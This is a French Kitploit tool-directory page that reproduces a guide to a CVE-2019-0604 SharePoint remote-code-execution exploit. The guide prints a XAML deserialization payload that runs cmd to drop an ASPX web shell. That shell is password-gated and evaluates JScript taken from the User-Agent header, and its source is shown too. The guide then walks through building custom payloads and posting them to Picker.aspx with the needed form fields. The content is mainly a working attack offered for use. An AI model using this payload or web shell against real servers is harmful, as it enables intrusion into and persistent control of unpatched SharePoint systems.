Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-0604 — Explication détaillée du code de l'exploit RCE SharePoint de k8gege cve-2019-0604-exp.py, créez votre propre payload | Kitploit
Outils/GitHubGitHub/boxhg/cve-2019-0604
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubboxhg/cve-2019-0604

CVE-2019-0604

Explication détaillée du code de l'exploit RCE SharePoint de k8gege cve-2019-0604-exp.py, créez votre propre payload

Voir le dépôt
306il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Image Pyaload Maker

Première partie : Explication de cve-2019-0604-exp.py de k8gege

Le script de k8gege https://github.com/k8gege/CVE-2019-0604

Honnêtement, le script py de k8gege est un peu fantaisiste, plein de chaînes hexadécimales, divisé en payload1, 2, 3, pas sympa.

Le payload envoyé par POST distant du script Python, après désérialisation, est un corps de données XML.

root@kitploit:~
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
    <ObjectDataProvider.MethodParameters>
		<System:String>cmd</System:String>
		<System:String>/c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
    </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

Image Pyaload Maker

C'est-à-dire exécuter une commande echo à distance pour écrire un fichier up.aspx dans le répertoire templates layouts du serveur SharePoint.

root@kitploit:~
cmd /c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" 

Un cheval de Troie one-liner spécifique à K8 FeiDao nommé .asxp a été généré, OK, shell obtenu.

root@kitploit:~
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) 
{
    var code=uastr.Replace(pwd+"===","");
    eval(code,"unsafe"); 
};
%>

Deuxième partie : Créer votre propre payload

Si vous souhaitez créer votre propre payload pour exécuter des commandes à distance, suivez ces étapes.

  1. Téléchargez le programme compilé depuis https://github.com/boxhg/CVE-2019-0604/releases, décompressez et exécutez CVE20190604Forms.exe.
  2. Dans la zone de texte Cmd, entrez la commande, cliquez sur le bouton "Update XML", la commande sera fusionnée en XML.
  3. Cliquez sur "EncodeEntity", le programme sérialisera la chaîne XML en objet et déclenchera l'exécution du payload. La chaîne sérialisée s'affiche dans la zone de texte "payload".
root@kitploit:~
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
  1. Les chaînes "__cp...." sont le payload. Copiez-les dans cve-2019-0604-exp.py, remplacez les payloads originaux de k8.
  2. Lors de l'envoi du payload à Picker.aspx, d'autres paramètres sont nécessaires. Vous pouvez les obtenir via Burp Proxy, puis passer la valeur du payload à ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData.
root@kitploit:~
...

values = {
    '__REQUESTDIGEST':YOUR_REQUESTDIGEST,
    '__EVENTTARGET':'',
    '__EVENTARGUMENT':'',
    '__spPickerHasReturnValue':'',
    '__spPickerReturnValueHolder':'',
    '__VIEWSTATE':YOUR_VIEWSTATE,
    '__VIEWSTATEGENERATOR':'',
    'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
    'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':'&#160;',
    '__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
    '__CALLBACKPARAM':';#;#11;#;#;#',
    '__EVENTVALIDATION':YOUR_EVENTVALIDATION
}

data = urllib.urlencode(values)

...
  1. Exécutez le script py, bonne chance !!!

Il est recommandé d'utiliser Burp pour envoyer le payload, plus pratique.

Liens liés à CVE-2019-0604 :

https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability

https://github.com/linhlhq/CVE-2019-0604

https://github.com/k8gege/K8CScan/wiki/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-CVE-2019-0604-SharePoint-GetShell-Exploit

https://github.com/k8gege/CVE-2019-0604

Télécharger l’outil